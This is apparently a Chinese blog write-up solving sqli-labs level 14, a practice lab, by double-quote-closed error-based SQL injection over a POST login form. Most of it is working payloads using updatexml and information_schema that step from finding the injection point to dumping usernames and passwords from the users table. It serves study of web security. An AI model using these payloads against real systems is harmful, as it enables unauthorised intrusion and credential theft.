sqli-labs关卡14(基于post提交的双引号闭合的报错注入)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


`

一、回顾上一关知识点

上一关是典型的布尔盲注或可以报错盲注。

二、靶场第十四关通关思路

  • 1、判断注入点
  • 2、爆显位
  • 3、爆数据库名
  • 4、爆数据库表
  • 5、爆数据库列
  • 6、爆数据库关键信息

1、判断注入点

老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'发现并没有报错说明可能是和双引号闭合有关,再输入1"发现报错,报错信息为

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near '"1"" and password="" LIMIT 0,1' at line 1

通过报错信息可以知道是双引号闭合。我们构造payload

sql 复制代码
1" or 1=1#
sql 复制代码
1" or 1=2#

发现1=1页面正常,1=2页面异常

细心发现页面正常和异常只会出现提示successfully或failed。就像布尔盲注的ture或false。并没有回显内容。这里明显可以用布尔或者是报错盲注。这里我就用报错注入了,比较简单。

2、爆显位

注入语句为

sql 复制代码
1" order by 3#

发现3报错,说明有2个显位。

3、爆数据库名

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select database()),0x3a),1)#

得到数据库名

4、爆数据库表

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#

得到关键数据库表名users

5、爆数据库列

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#


得到关键数据库列username,password

6、爆数据库关键信息

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#


得到关键账号密码


总结

这一关用的是报错注入,布尔盲注也适用。如果不懂报错注入流程可以看我的文章第五关解析。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
毛驴赶鹿3 小时前
【金仓数据库征文】KES V9性能调优实战记录:从慢SQL排查到全链路优化
数据库·sql
jieyucx10 小时前
【高级利用】条件竞争与逻辑漏洞:与服务器赛跑的艺术
android·运维·服务器·web安全·文件上传
山峰哥11 小时前
数据库工程与SQL调优:从慢查询到秒级响应的实战之路
java·开发语言·数据库·sql·深度优先·启发式算法
刘婉晴13 小时前
【Web漏洞】SQL 注入实战技巧
前端·数据库·sql
Csvn14 小时前
📊 SQL 入门 Day 13:窗口函数进阶
后端·sql
jieyucx15 小时前
【服务器特性】结合服务器/CMS:解析漏洞实战
运维·服务器·web安全·文件上传
AI推荐率16 小时前
品牌AI可见度监测报告生成:Python + SQL + Jinja2 自动化实践
人工智能·python·sql
爱喝水的鱼丶17 小时前
SAP-ABAP:调试器高级工具使用——内表分析、SQL追踪、内存检查功能实操
运维·sql·性能优化·sap·abap·经验交流
虹科网络安全1 天前
解读CRA横向标准EN 40000系列:从法规文本到工程落地 | CRA合规之路(七)
网络·安全·web安全
2301_780789661 天前
零信任时代:WAF 从边界防护到微隔离的架构跃迁
网络·安全·web安全·kubernetes·ddos